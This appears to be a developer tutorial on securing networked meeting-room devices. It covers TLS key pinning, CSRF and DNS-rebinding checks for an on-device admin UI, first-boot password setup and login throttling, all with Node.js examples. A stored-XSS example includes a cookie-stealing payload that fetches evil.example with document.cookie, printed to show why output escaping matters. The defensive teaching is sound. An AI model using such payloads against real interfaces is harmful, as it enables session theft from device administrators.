const sha256 = (b) => createHash("sha256").update(b).digest("base64");

// The client's trust-on-first-use store: one entry per device, holding both kinds of pin.
const known = new Map();
function connect(label) {
  return new Promise((resolve, reject) => {
    const s = tls.connect({ host: "127.0.0.1", port: device.address().port, rejectUnauthorized: false }, () => {
      const cert = new X509Certificate(s.getPeerCertificate().raw);
      const seen = { cert: cert.fingerprint256, key: sha256(cert.publicKey.export({ type: "spki", format: "der" })) };
      const pin = known.get("room-4b") ?? (known.set("room-4b", seen), seen); // first use: remember it
      const certOk = pin.cert === seen.cert, keyOk = pin.key === seen.key;
      console.log(`${label.padEnd(28)} serial ${cert.serialNumber}  cert pin ${certOk ? "ok" : "MISMATCH"}  key pin ${keyOk ? "ok" : "MISMATCH"}  → ${keyOk ? "send request" : "stop, re-confirm"}`);
      // Only after the check passes does anything secret go over this connection.
      if (keyOk) s.write("GET /api/status HTTP/1.1\r\nHost: room-4b.local\r\nAuthorization: Bearer …\r\nConnection: close\r\n\r\n");
      else s.end();
      s.on("data", () => {}).on("close", resolve);
    });
    s.on("error", reject);
  });
}

await connect("first contact (TOFU)");
await connect("next day");
// Renewal: the device issues a fresh certificate for the SAME key.
device.setSecureContext({ key: keyA.privateKey.export({ type: "pkcs8", format: "pem" }),
  cert: selfSignedCert({ keys: keyA, cn: "room-4b.local", ip: "127.0.0.1", serial: 2, from: "20361001000000Z", to: "20461001000000Z" }) });
await connect("after renewal (same key)");
// Factory reset: a NEW key pair, so a new identity (or an impostor; the client can't tell which).
const keyB = generateKeyPairSync("ec", { namedCurve: "P-256" });
device.setSecureContext({ key: keyB.privateKey.export({ type: "pkcs8", format: "pem" }),
  cert: selfSignedCert({ keys: keyB, cn: "room-4b.local", ip: "127.0.0.1", serial: 1, from: "20380301000000Z", to: "20480301000000Z" }) });
await connect("after factory reset");
device.close();
Result
CN=room-4b.local | DNS:room-4b.local, IP Address:127.0.0.1 | valid Oct 27 00:00:00 2026 GMT → Oct 27 00:00:00 2036 GMT
self-signed: true | covers 127.0.0.1: true | CA: false
first contact (TOFU)         serial 01  cert pin ok  key pin ok  → send request
next day                     serial 01  cert pin ok  key pin ok  → send request
after renewal (same key)     serial 02  cert pin MISMATCH  key pin ok  → send request
after factory reset          serial 01  cert pin MISMATCH  key pin MISMATCH  → stop, re-confirm
What’s happening
  1. The DER helpers are the whole of ASN.1 the certificate needs: tlv(tag, …) writes a tag, a length and a body, seq is tag 0x30, oid encodes dotted object ids, and time uses UTCTime before 2050 and GeneralizedTime after, as RFC 5280 requires. selfSignedCert assembles the to-be-signed part (version 3, serial, algorithm ecdsa-with-SHA256, issuer, validity, subject, the public key exported as SPKI, and two extensions: the SAN with a DNS name and an IP, and extended key usage serverAuth), signs it with the device's private key and wraps it in PEM.
  2. Node's own parser agrees it's a real certificate: X509Certificate reads back CN=room-4b.local, the SANs and the validity dates; x.verify(x.publicKey) is true (it's signed by its own key) and checkIP("127.0.0.1") matches. CA: false because this builder adds no basic-constraints extension. OpenSSL also accepted it as a TLS server certificate, which the connections below prove; openssl verify -x509_strict passed on a copy too.
  3. First contact stores both pins (that's the ?? (known.set(…), seen) branch) and the next day both match, so the client sends its request. The request is written only after the check, on the same connection, so nothing secret reaches a server that failed it.
  4. Renewal with the same key: setSecureContext swaps the server's certificate without restarting it. Serial 02 has new dates, so its fingerprint differs: the certificate pin breaks, the key pin still matches. That's why long-lived clients pin the public key. A device that renews by generating a new key every time forces every client to re-confirm, which teaches admins to click "accept" without reading.
  5. Factory reset makes a new key, so both pins fail and the client stops and asks the admin to re-confirm. It can't tell a reset from an impostor, and it shouldn't try: a changed key is exactly what an attack looks like. In a managed fleet the management service can publish the new key after a reset (it saw the device enrol), which removes the human step.
  6. A real device would also use a random serial of at least 64 bits rather than 1 and 2, and keep its private key in hardware-backed storage.
AdvancedProvisioned certificates: CSRs and the organisation's CA

Enterprises don't want admins comparing fingerprints. They run their own CA (Active Directory Certificate Services, a cloud PKI), install its root on every managed laptop and phone, and want every device to present a certificate from it. The flow is the bottom lane of the diagram:

  1. The device generates a key pair and a certificate signing request (CSR) containing its public key and the names it wants (room-4b.corp.example, maybe its IP). The private key never leaves the device. Poly's admin guide has a Create a Certificate Signing Request procedure for exactly this.
  2. The organisation's CA checks the request and signs a certificate; the admin uploads the certificate and any intermediates back to the device.
  3. Browsers on managed laptops now show a padlock with no warning, and scripts verify it with the organisation's root as ca, with no pinning code at all.

The same guide shows two related controls worth knowing: "Always Validate Peer Certificates From Server", which makes the device verify the certificates of servers it connects to (provisioning, directory), and "Always Validate Peer Certificates From Browser", which makes the device require a certificate from the browser itself: mutual TLS for the admin UI. It also gives a good example of SAN matching biting in practice: with validation on, the directory server's address must be configured the way it appears in that server's certificate; if the certificate contains only a DNS name, configuring the IP address fails validation, and with it the login.

There's also a minimum TLS version setting in the guide. On a device you'd set the floor at TLS 1.2 and prefer 1.3, and remember that the same firmware has to talk to whatever old room controller the customer owns, which is why these are settings rather than constants.

AdvancedLifetimes, rotation and the device's clock
  • Public certificates are getting short. The CA/Browser Forum adopted ballot SC-081v3 in April 2025, reducing the maximum validity of publicly trusted TLS certificates from 398 days to 47 days in steps: 200 days from 15 March 2026 (the limit as of October 2026), 100 days from 15 March 2027 and 47 days from 15 March 2029. A device that uses a public certificate (because it has a public DNS name) must renew automatically, typically with ACME; a human uploading a certificate every 47 days won't happen.
  • Private CAs set their own rules. Apple's limit of 398 days for TLS certificates applies to certificates from roots preinstalled in its operating systems; Apple's support page says it "will not affect certificates issued from user-added or administrator-added Root CAs". Enterprise device certificates often run one to two years; choose a lifetime you can actually rotate before it expires.
  • Renew before expiry, keep the key, alert on failure. Start renewing at two-thirds of the lifetime, keep the same key unless it's compromised (so key pins survive), and surface "certificate expires in 14 days" in the admin UI and the management service. An expired certificate on 3,000 room devices is an outage that happens on one day.
  • The clock matters before TLS does. A device without a battery-backed clock may boot believing it's 1970 or the firmware's build date. Every certificate then looks "not yet valid" or "expired" to its own TLS client, so connections to the provisioning or time-sync service fail. Get time from NTP (or a trusted time source in the management protocol) before validating certificates, and log clock jumps.
Which pin survives?

A client pins a device by the SHA-256 fingerprint of its certificate. The device's certificate is renewed: same key pair, new serial number and dates. Later the device is factory-reset and generates a new key pair. Which events break the client's pin, and what should the client pin instead?

Show answer

Both events break a certificate-fingerprint pin. Pinning the public key (the SHA-256 of the SPKI) survives the renewal and still catches the factory reset.

What’s happening
  1. A certificate fingerprint is a hash of the whole certificate's DER bytes. Renewal changes the serial, the validity dates and the signature, so the bytes, and the fingerprint, change even though the key is the same. In the model that's the after renewal (same key) line: cert pin MISMATCH.
  2. The SPKI hash covers only the public key. Renewal with the same key leaves it identical, so the key pin is ok and the client carries on without bothering the admin.
  3. A factory reset generates a new key pair: the SPKI hash changes too, so the key pin fails (after factory reset … key pin MISMATCH → stop, re-confirm). That's the right outcome: a new key is indistinguishable from an impostor until someone with another source of truth confirms it.
  4. So pin the key, and design the device to keep its key across renewals. It's the same reasoning HTTP Public Key Pinning used on the web (since abandoned there because sites bricked themselves); for a client pinning one device it controls, it works well.

#Securing the on-device web UI

Added

The device's admin UI is an ordinary web application (HTML, JavaScript, a JSON API, a session cookie) with an unusual address: it's served by the device itself, usually as https://192.168.1.50, on a network the device doesn't control. Every web vulnerability applies (the Node site covers CSRF, XSS, CSP, CORS and security headers in depth). This topic is about what changes when the server is a box in a meeting room.

Three things change. First, the attacker usually can't reach the device, which sits behind the company's NAT, but the admin's browser can, and that browser also visits the internet. The browser becomes the bridge: a page on evil.example can make the admin's browser send requests to 192.168.1.50 (cross-site request forgery), or trick it into treating the device as part of evil.example (DNS rebinding). Second, the origin is an IP address, which changes how cookies, SameSite and HSTS behave. Third, the UI displays data that arrived through other channels: a room name set over Telnet, a contact imported by provisioning, a caller's display name from a SIP call. Stored XSS can come from a channel the web team never sees.

The mental model is a receptionist who checks three things on every request that would change something. Where did you come from? (the browser's Origin and Sec-Fetch-Site headers). Which name did you use to find me? (the Host header must be one of the device's own names). Do you know the word only my own pages were given? (a CSRF token that pages on other sites can't read). A request that fails any of these is turned away, even if it carries a valid session cookie.

INTERNET OFFICE LAN page on evil.example the admin opens a link attacker's DNS rebind.evil.example admin's browser holds the device's session cookie device 192.168.1.50 checks Host, Origin, Sec-Fetch-Site and CSRF token ① CSRF POST /api/reboot Origin: evil.example ② DNS rebinding name now → 192.168.1.50 Host: rebind.evil.example ① → 403 ② → 421 The attacker never reaches the device directly; the browser carries the request.
Both attacks travel through the admin's own browser. The device can't block the browser, so it checks what the browser tells it about each request.

Here's a device web UI middleware that makes those three checks, adds the headers every admin page should carry, and is tried with the requests a real browser (or attacker) would send:

webui-guard.mjs
import express from "express";
import http from "node:http";
import { timingSafeEqual } from "node:crypto";

// The names an admin can type to reach this device. Anything else in Host is refused.
const HOSTS = new Set(["192.168.1.50", "room-4b.local"]);
const ORIGINS = new Set([...HOSTS].map((h) => `https://${h}`));
// One logged-in admin session (fixed values so the output is stable; real ones are random).
const sessions = new Map([["s-7f3a", { user: "admin", csrf: "c-91be" }]]);
const API_TOKENS = new Map([["dak_monitor", { name: "room-monitor" }]]);
const same = (a = "", b = "") => a.length === b.length && timingSafeEqual(Buffer.from(a), Buffer.from(b));

const app = express();
app.use((req, res, next) => {
  // 1. DNS rebinding: the browser thinks it's talking to rebind.evil.example; the Host header says so.
  if (!HOSTS.has((req.headers.host ?? "").replace(/:\d+$/, ""))) return res.status(421).json({ error: "unknown_host" });
  // 2. Headers for every response of the admin UI.
  res.set({
    "Content-Security-Policy": "default-src 'self'; frame-ancestors 'none'",
    "X-Frame-Options": "DENY",
    "X-Content-Type-Options": "nosniff",
    "Cache-Control": "no-store",
  });
  next();
});
app.use((req, res, next) => {
  const bearer = /^Bearer (\S+)$/.exec(req.get("authorization") ?? "")?.[1];
  if (bearer && API_TOKENS.has(bearer)) return (req.auth = "token"), next(); // not sent by browsers on their own
  const sid = /(?:^|;\s*)__Host-sid=([^;]+)/.exec(req.get("cookie") ?? "")?.[1];
  req.session = sessions.get(sid);
  if (!req.session) return res.status(401).json({ error: "unauthenticated" });
  req.auth = "cookie";
  if (["GET", "HEAD", "OPTIONS"].includes(req.method)) return next();
  // 3. CSRF, only for cookie-authenticated state changes.
  const site = req.get("sec-fetch-site"), origin = req.get("origin");
  if (site && site !== "same-origin") return res.status(403).json({ error: "cross_site", site });
  if (origin && !ORIGINS.has(origin)) return res.status(403).json({ error: "bad_origin", origin });
  if (!same(req.get("x-csrf-token"), req.session.csrf)) return res.status(403).json({ error: "bad_csrf_token" });
  if (!req.is("application/json")) return res.status(415).json({ error: "json_only" });
  next();
});
app.get("/api/settings", (req, res) => res.json({ roomName: "Huddle 4B" }));
app.post("/api/reboot", (req, res) => res.status(202).json({ rebooting: true, via: req.auth }));

const server = app.listen(0, "127.0.0.1");
await new Promise((r) => server.once("listening", r));
const send = (label, method, path, headers) =>
  new Promise((resolve) => {
    const req = http.request({ host: "127.0.0.1", port: server.address().port, method, path, headers }, (res) => {
      let body = "";
      res.on("data", (c) => (body += c)).on("end", () => {
        console.log(`${label.padEnd(34)} → ${res.statusCode} ${body}`);
        resolve(res.headers);
      });
    });
    req.end(method === "POST" ? "{}" : undefined);
  });

const ui = { host: "192.168.1.50", cookie: "__Host-sid=s-7f3a" };
const json = { "content-type": "application/json" };
const h = await send("admin UI loads settings", "GET", "/api/settings", { ...ui, "sec-fetch-site": "same-origin" });
console.log(`${"".padEnd(37)}frame-ancestors: ${/frame-ancestors '(\w+)'/.exec(h["content-security-policy"])[1]}, X-Frame-Options: ${h["x-frame-options"]}`);
await send("admin UI clicks Reboot", "POST", "/api/reboot",
  { ...ui, ...json, origin: "https://192.168.1.50", "sec-fetch-site": "same-origin", "x-csrf-token": "c-91be" });
await send("evil.example auto-submits a form", "POST", "/api/reboot",
  { ...ui, "content-type": "application/x-www-form-urlencoded", origin: "https://evil.example", "sec-fetch-site": "cross-site" });
await send("older browser, other LAN device", "POST", "/api/reboot", { ...ui, ...json, origin: "https://192.168.1.51" });
await send("no Origin, no token", "POST", "/api/reboot", { ...ui, ...json });
await send("DNS rebinding page", "GET", "/api/settings", { host: "rebind.evil.example", "sec-fetch-site": "same-origin" });
await send("monitoring script, bearer token", "POST", "/api/reboot", { host: "192.168.1.50", ...json, authorization: "Bearer dak_monitor" });
server.close();
Result
admin UI loads settings            → 200 {"roomName":"Huddle 4B"}
                                     frame-ancestors: none, X-Frame-Options: DENY
admin UI clicks Reboot             → 202 {"rebooting":true,"via":"cookie"}
evil.example auto-submits a form   → 403 {"error":"cross_site","site":"cross-site"}
older browser, other LAN device    → 403 {"error":"bad_origin","origin":"https://192.168.1.51"}
no Origin, no token                → 403 {"error":"bad_csrf_token"}
DNS rebinding page                 → 421 {"error":"unknown_host"}
monitoring script, bearer token    → 202 {"rebooting":true,"via":"token"}
What’s happening
  1. The Host check runs first, on every request. The device knows its own names (192.168.1.50, room-4b.local); anything else gets 421 Misdirected Request ("this server isn't authoritative for that name", RFC 9110). In the DNS rebinding line the browser believes it's talking to rebind.evil.example, so it sends Sec-Fetch-Site: same-origin, and a same-origin check alone would pass. Only Host gives the trick away. The check costs one Set lookup and also stops a request with no session from reading anything the device would show unauthenticated callers.
  2. Every response carries the admin-UI headers: Content-Security-Policy with frame-ancestors 'none' and the older X-Frame-Options: DENY (no other site can put the UI in an invisible frame and trick the admin into clicking "Factory reset", which is clickjacking), nosniff, and Cache-Control: no-store so settings pages with secrets aren't cached. The first line prints two of them back from the real response.
  3. The admin's own Reboot click passes all three checks: Sec-Fetch-Site: same-origin, Origin: https://192.168.1.50, and X-CSRF-Token: c-91be, the token the device gave its own pages in the session (fixed here so the output is stable; a real one is random per session). The result is 202, via: "cookie".
  4. The auto-submitting form on evil.example arrives with the admin's cookie (modelling a browser that sends it; with SameSite=Strict a current browser wouldn't), but Sec-Fetch-Site: cross-site is enough to reject it: 403 cross_site. The older browser line has no Sec-Fetch-Site, so the Origin check catches it: https://192.168.1.51 (another device's UI on the same LAN) isn't one of this device's origins. With no Origin and no token, the request fails the token check. OWASP's CSRF cheat sheet (checked October 2026) calls Sec-Fetch-Site the primary signal in modern browsers and requires a fallback; the token is that fallback here, and a missing header is never treated as "same origin".
  5. The monitoring script with a bearer token skips the CSRF checks and gets 202 via: "token". That's deliberate: CSRF exists because browsers attach ambient credentials (cookies, cached Basic credentials, client certificates) on their own. A bearer token in an Authorization header is only sent by code that chose to send it, and a page on another site can't read it. Only the cookie path needs the token.
  6. The last check, 415 json_only, is a cheap extra layer: an HTML form can only send application/x-www-form-urlencoded, multipart/form-data or text/plain, so requiring application/json on state-changing calls means a cross-site fetch needs a CORS preflight, which the device never approves.
AdvancedGET that changes state
AdvancedCookies, SameSite and HSTS on an IP origin

Cookies, SameSite and HSTS when the origin is an IP address

  • The "site" of an IP origin is the IP itself. The HTML standard defines a site as scheme plus registrable domain, and a host with no registrable domain (an IP literal) is its own site. So https://192.168.1.51 is cross-site to https://192.168.1.50, and SameSite=Strict does stop the other device's page, and any internet page, from riding the admin's cookie. It doesn't help against XSS on the device itself, and SameSite says nothing about cached Basic credentials or client certificates.
  • No Domain attribute. You can't scope a cookie to "all devices"; each device's cookie is host-only. Use the __Host- prefix (__Host-sid, as the model does): browsers then insist the cookie is Secure, has Path=/ and has no Domain, so nothing else can overwrite it.
  • Secure needs HTTPS. A UI on plain http://192.168.1.50 can't set Secure cookies at all (browsers treat http://localhost as secure, but not LAN addresses), so the session travels in clear text on every request. That's another reason HTTPS must be on by default, even with a self-signed certificate.
  • HSTS doesn't apply. RFC 6797 tells browsers to ignore Strict-Transport-Security from IP-literal hosts, so you can't rely on it to keep admins on HTTPS. Redirect HTTP to HTTPS on the device, or turn HTTP off.
  • Separate admin sessions per device. Because every device is its own site, an admin managing 40 rooms in 40 tabs has 40 independent sessions. That's correct isolation; a fleet tool should go through the management service rather than share one credential across devices.
AdvancedStored XSS from other channels

The room name, contact names, a caller's display name from a SIP From header, a calendar meeting title: all of these are strings that reach the device through the command-line API, provisioning, the network, or another person's call, and all of them end up in the web UI. If the UI builds HTML by string concatenation, one of them can carry script:

device-name-xss.mjs
// The room name was set over the command-line API, by a partner's provisioning tool, or by an attacker.
const roomName = `Huddle <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">`;

const unsafe = `<h1>${roomName}</h1>`; // what string-built admin pages often do
const escapeHtml = (s) => s.replace(/[&<>"']/g, (c) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" })[c]);
const safe = `<h1>${escapeHtml(roomName)}</h1>`;

console.log("unsafe:", unsafe);
console.log("safe:  ", safe);
console.log("tags the browser would create:", (unsafe.match(/<(?!\/)\w+/g) ?? []).length, "vs", (safe.match(/<(?!\/)\w+/g) ?? []).length);
Result
unsafe: <h1>Huddle <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)"></h1>
safe:   <h1>Huddle &lt;img src=x onerror=&quot;fetch(&#39;https://evil.example/?c=&#39;+document.cookie)&quot;&gt;</h1>
tags the browser would create: 2 vs 1
What’s happening
  1. roomName is what someone typed into a command-line set command or a provisioning file. The web UI team never sees that channel, so they assume it holds a room name.
  2. The unsafe line puts it straight into <h1>…</h1>. A browser parsing that string creates an <img> element whose onerror handler runs JavaScript in the device's origin, with access to the page, its CSRF token, and every API the admin's session can call. The last line counts the tags a browser would create: 2 (the h1 and the injected img).
  3. escapeHtml replaces the five characters that change HTML parsing (& < > " ') with entities, so the same string becomes text: the admin sees a strange room name, and only 1 tag (the h1) is created.
  4. In a React or Angular UI the framework escapes interpolated text for you; the danger moves to dangerouslySetInnerHTML, [innerHTML], bypassSecurityTrust… and building HTML for exports. A strict CSP (script-src 'self', no unsafe-inline) is the second layer: even if markup gets in, inline handlers like onerror don't run.
  5. The device-specific lesson: validate on input at every interface (a room name has a maximum length and a character set; the command-line API and provisioning should enforce the same schema as the web form, see One command layer behind REST, Telnet and SSH) and escape on output in the UI, because input validation will eventually miss a channel.
AdvancedCORS for a device API

A device's own UI is same-origin with its API, so it needs no CORS at all. CORS only comes up when a page on another origin wants to call the device from the browser: a fleet portal at https://manage.example.com that talks straight to devices on the customer's LAN, or a partner's room-booking web app.

  • Never Access-Control-Allow-Origin: * with credentials. Browsers refuse that combination anyway; the dangerous version is reflecting whatever Origin arrives together with Access-Control-Allow-Credentials: true, which lets every site on the internet read the API with the admin's cookie.
  • Allowlist exact origins, configured by the admin (https://manage.example.com), and make those callers use bearer tokens rather than cookies, so a leaked origin setting doesn't expose the admin's session.
  • Prefer server-to-device calls for fleet tools: a management service with its own credential, or the device connecting out to the service, avoids browser CORS entirely and works when the admin isn't on the LAN.
  • Browsers are adding their own gate. Chrome's Local Network Access restrictions ask the user for permission before a public website sends requests to private addresses such as 192.168.0.0/16 or to loopback; Chrome's developer blog (updated 2025-09-29) says the permission prompt launches in Chrome 142 (stable from 28 October 2025), covering fetch(), subresources and subframes, and only from secure contexts. It's a useful extra wall against CSRF from the internet, but the post doesn't say it covers top-level form submissions, other browsers differ, and it does nothing for an attacker who is already on the LAN, so it doesn't replace the device's own checks.
Does SameSite help when there's no domain?

The admin UI is at https://192.168.1.50 with a session cookie __Host-sid=…; Secure; HttpOnly; SameSite=Strict. Which of these does SameSite=Strict stop: (a) an auto-submitting form on https://evil.example, (b) a page on another device at https://192.168.1.51, (c) a script injected into the device's own UI through the room name, (d) a DNS-rebound page at https://rebind.evil.example that now resolves to 192.168.1.50?

Show answer

It stops (a) and (b). It doesn't stop (c), and (d) doesn't need the cookie, so the Host check is what stops it.

What’s happening
  1. For an IP origin the site is the IP itself, so https://evil.example and https://192.168.1.51 are both cross-site to https://192.168.1.50. With Strict, the browser doesn't attach the cookie to requests they start, so (a) and (b) arrive unauthenticated and get 401.
  2. (c) runs inside the device's own pages: same origin, same site. The browser attaches the cookie, and the injected script can even read the CSRF token from the page. Only output escaping and CSP prevent it; that's why XSS defeats CSRF protection.
  3. (d) is a request the browser believes is same-origin with rebind.evil.example, but the cookie belongs to 192.168.1.50, so it isn't sent. The attacker doesn't care: the goal is to reach unauthenticated endpoints, or try default passwords, from inside the LAN and read the responses, which same-origin lets it do. The device's Host allowlist returns 421 before any of that, as in the model.
  4. So SameSite is a strong layer for IP-hosted UIs, but it's one of four: Host check, origin check, CSRF token, and escaping.

#Hardening

Added

Hardening is everything that shrinks what an attacker can try before any clever bug comes into play: no password shared by every unit, a first boot that forces a real password, guessing made slow, services that aren't needed switched off, and as little as possible revealed to anyone who hasn't logged in. These are the boring controls, and they're the ones that matter most for devices: the 2016 Mirai botnet spread through hundreds of thousands of cameras, video recorders and routers simply by logging in over Telnet with a short list of factory default usernames and passwords (Antonakakis et al., Understanding the Mirai Botnet, USENIX Security 2017: a list of 62 credential pairs, at most 10 tried per device, and a peak of about 600,000 infections).

The mental model is a hotel. Every room has its own key, not one key for the whole building (unique credentials per device). The first guest sets their own code at check-in (a forced password change at first boot). The lock gets slower after each wrong code instead of opening eventually (rate limiting). And the doors nobody uses are bricked up rather than left locked (unused services off, not just password-protected).

The standards say the same in testable language. ETSI EN 303 645 (V3.1.3, 2024-09, the European baseline for consumer IoT security, widely used as a checklist beyond consumer products) opens with "No universal default passwords": provision 5.1-1 requires that, in any state other than the factory default, passwords "shall be unique per device or defined by the user"; 5.1-2 asks that pre-installed unique passwords be generated so they resist automated attacks, and gives counter-examples such as incrementing counters and passwords derived from public information like a MAC address or Wi-Fi SSID; 5.1-4 requires a simple way to change the credential; and 5.1-5 requires a mechanism that makes brute-force attacks over network interfaces impracticable, with examples of limiting attempts per time interval with increasing intervals. OWASP's IoT Top 10 (2018) puts "Weak, Guessable, or Hardcoded Passwords" first, "Insecure Network Services" second and "Insecure Default Settings" ninth; the OWASP API Security Top 10 (2023) has "Broken Authentication" (API2) and "Security Misconfiguration" (API8).

Poly's public documentation shows a vendor's choices. The Video Mode Administrator Guide 4.7.0 (July 2025) says the default admin username is admin and the default password is "the last six characters of the system's serial number", which is listed in System Details and on the back of the device; it's unique per unit, the guide notes that "depending on your system and software version" you may be prompted to change it at first sign-in, and Poly "strongly recommends" setting an administrator password. The same guide has account lockout settings ("Lock Admin Account after Failed Logins", a lock duration, and a window after which the failure counter resets), the same three settings for the web interface port and for SSH, and a password policy page.

Here's a first boot done the way ETSI and NIST describe: the unit ships with a random setup code on its label, the API refuses everything until an admin replaces it, and the new password is checked by length and against a blocklist, not by composition rules.

first-boot.mjs
import { scryptSync, randomBytes, timingSafeEqual } from "node:crypto";

// At the factory: a random setup code per unit, printed on the label inside the box. Only its hash is stored.
const SERIAL = "8F2K19A7";
const labelCode = "QX7M-4TPA-W9KD"; // fixed here so the output is stable; the factory draws it at random
const hash = (s, salt) => scryptSync(s, salt, 32);
const device = { state: "factory", salt: randomBytes(16) };
device.setupHash = hash(labelCode, device.salt);

const BLOCKED = ["password", "admin", "poly", "123456", "qwerty"]; // a real list holds common, breached and device-specific values
function checkNewPassword(pw) {
  if ([...pw].length < 15) return "too_short (min 15)"; // NIST SP 800-63B-4: single-factor passwords ≥ 15
  const lower = pw.toLowerCase();
  if (lower.includes(SERIAL.toLowerCase()) || BLOCKED.some((w) => lower.includes(w))) return "too_guessable";
  return null; // no "must contain a digit and a symbol" rules: 800-63B-4 forbids composition rules
}

function api(method, path, body = {}) {
  if (device.state === "factory" && !(method === "POST" && path === "/api/setup"))
    return [403, { error: "setup_required", hint: "POST /api/setup with the code on the label" }];
  if (method === "POST" && path === "/api/setup") {
    if (device.state !== "factory") return [409, { error: "already_set_up" }];
    if (!timingSafeEqual(hash(String(body.setupCode), device.salt), device.setupHash)) return [401, { error: "bad_setup_code" }];
    const problem = checkNewPassword(String(body.newPassword ?? ""));
    if (problem) return [422, { error: problem }];
    device.salt = randomBytes(16);
    device.adminHash = hash(body.newPassword, device.salt);
    device.state = "ready";
    delete device.setupHash; // the label code is dead now
    return [204, {}];
  }
  if (method === "GET" && path === "/api/settings") return [200, { roomName: "Huddle 4B" }];
  return [404, {}];
}

const show = (label, [status, body]) => console.log(`${label.padEnd(30)} → ${status} ${JSON.stringify(body)}`);
show("GET settings, fresh device", api("GET", "/api/settings"));
show("setup with a guessed code", api("POST", "/api/setup", { setupCode: "0000-0000-0000", newPassword: "x" }));
show("setup, password 'admin123'", api("POST", "/api/setup", { setupCode: labelCode, newPassword: "admin123" }));
show("setup, serial-based password", api("POST", "/api/setup", { setupCode: labelCode, newPassword: "Room-8f2k19a7-Huddle" }));
show("setup, long passphrase", api("POST", "/api/setup", { setupCode: labelCode, newPassword: "plum falcon orbit lantern" }));
show("label code used again", api("POST", "/api/setup", { setupCode: labelCode, newPassword: "another long passphrase" }));
show("GET settings", api("GET", "/api/settings"));
Result
GET settings, fresh device     → 403 {"error":"setup_required","hint":"POST /api/setup with the code on the label"}
setup with a guessed code      → 401 {"error":"bad_setup_code"}
setup, password 'admin123'     → 422 {"error":"too_short (min 15)"}
setup, serial-based password   → 422 {"error":"too_guessable"}
setup, long passphrase         → 204 {}
label code used again          → 409 {"error":"already_set_up"}
GET settings                   → 200 {"roomName":"Huddle 4B"}
What’s happening
  1. The factory gives each unit its own random setup code (QX7M-4TPA-W9KD, fixed here so the output is stable) and stores only its scrypt hash. It's printed on a label inside the box, not derived from the serial number or MAC address, which anyone with the box or a network scan can read. That satisfies 5.1-1 (unique per device) and 5.1-2 (not guessable from public information).
  2. Until setup is done, the API only answers one call. GET /api/settings returns 403 setup_required with a hint, and so would every other endpoint and interface (Telnet, SSH, SNMP): a device in its factory state is a device with a known-to-the-label secret, so it shouldn't do anything useful. A guessed code gets 401 bad_setup_code; the setup endpoint needs the same rate limiting as login.
  3. The new password is checked the way NIST SP 800-63B-4 (final, July 2025) says: at least 15 characters when the password is the only factor (8 when used with MFA), checked against a blocklist of common and context-specific values, and no composition rules, which the guideline forbids ("must contain a digit and a symbol" produces Password1!). admin123 fails on length; Room-8f2k19a7-Huddle is long enough but contains the device's serial number, so it's too_guessable. A real blocklist holds common and breached passwords plus the device's own model, serial and room name; NIST asks for one big enough that attackers can't guess past it before the attempt limit, and notes that excessively large lists add little, because the list only defends against online guessing.
  4. A long passphrase is accepted (204), stored with a fresh salt, and the device moves to ready. Setup also deletes the setup-code hash: the label is dead from now on, so a photo of the label taken later is worthless. The second setup attempt gets 409 already_set_up; going back to the label code requires a physical factory reset.
  5. GET /api/settings now works. (Authentication of that call is left out to keep the model short; it's the session or token from Authenticating admins and integrations.)
AdvancedA limit per connection isn't a limit
AdvancedRate limiting without locking out the admin

Rate limiting and lockout without locking out the admin

Account lockout looks like the obvious answer to guessing, and it has a well-known flaw: whoever can guess can also lock the account, on purpose, forever. On a device there's usually one admin account, so "lock the account" means "lock out the only person who can fix the device". This model runs four policies for 24 simulated hours against an attacker who guesses as fast as the device allows, while the real admin tries to log in twice from another machine:

login-throttle.mjs
// Attackers on the LAN guess the admin password as fast as the device allows, for 24 hours.
// The real admin logs in (correct password) at 00:30 and 06:00 from another machine, and gives up after 10 minutes.
// Time is simulated in whole seconds; no real waiting.
const DAY = 24 * 3600;

function lockAccount({ maxFails, lockFor }) {
  let fails = 0, lockedUntil = 0;
  return {
    allowed: (src, now) => now >= lockedUntil || { retryAt: lockedUntil },
    record(src, ok, now) {
      if (ok) return void (fails = 0);
      if (++fails >= maxFails) (lockedUntil = now + lockFor), (fails = 0);
    },
  };
}

function backoffPerSource({ base, cap }) {
  const bySrc = new Map(); // src -> { fails, nextAt }
  return {
    allowed: (src, now) => now >= (bySrc.get(src)?.nextAt ?? 0) || { retryAt: bySrc.get(src).nextAt },
    record(src, ok, now) {
      if (ok) return void bySrc.delete(src);
      const s = bySrc.get(src) ?? { fails: 0 };
      s.fails++;
      s.nextAt = now + Math.min(cap, base * 2 ** (s.fails - 1)); // 1 s, 2 s, 4 s … then 15 min
      bySrc.set(src, s);
    },
  };
}

function simulate(policy, attackers = 1) {
  let guesses = 0;
  const next = Array.from({ length: attackers }, () => 0); // per attacker address: when it tries again
  const admin = [{ at: 1800 }, { at: 6 * 3600 }];
  for (let now = 0; now < DAY; now++) {
    for (const a of admin) {
      if (a.result || now < a.at || (now - a.at) % 60) continue; // admin tries once a minute
      if (policy.allowed("10.0.0.12", now) === true) (a.result = "in"), policy.record("10.0.0.12", true, now);
      else if (now - a.at >= 600) a.result = "gave up";
    }
    next.forEach((at, i) => {
      if (now < at) return;
      const src = `10.0.1.${i + 1}`, verdict = policy.allowed(src, now);
      if (verdict === true) guesses++, policy.record(src, false, now), (next[i] = now + 1); // ~1 s per scrypt check
      else next[i] = verdict.retryAt; // a patient attacker honours Retry-After
    });
  }
  const list = Math.ceil(10_000 / guesses); // days to try a 10,000-word password list
  return `${String(guesses).padStart(6)} guesses/day  10k list: ${String(list).padStart(3)} day(s)  admin: ${admin.map((a) => a.result).join(", ")}`;
}

const none = { allowed: () => true, record() {} };
console.log("1 attacker,   no limit                    ", simulate(none));
console.log("1 attacker,   lock account 15 min after 5 ", simulate(lockAccount({ maxFails: 5, lockFor: 900 })));
console.log("1 attacker,   per-source backoff to 15 min", simulate(backoffPerSource({ base: 1, cap: 900 })));
console.log("20 attackers, per-source backoff to 15 min", simulate(backoffPerSource({ base: 1, cap: 900 }), 20));
Result
1 attacker,   no limit                      86400 guesses/day  10k list:   1 day(s)  admin: in, in
1 attacker,   lock account 15 min after 5     480 guesses/day  10k list:  21 day(s)  admin: gave up, gave up
1 attacker,   per-source backoff to 15 min    105 guesses/day  10k list:  96 day(s)  admin: in, in
20 attackers, per-source backoff to 15 min   2100 guesses/day  10k list:   5 day(s)  admin: in, in
What’s happening
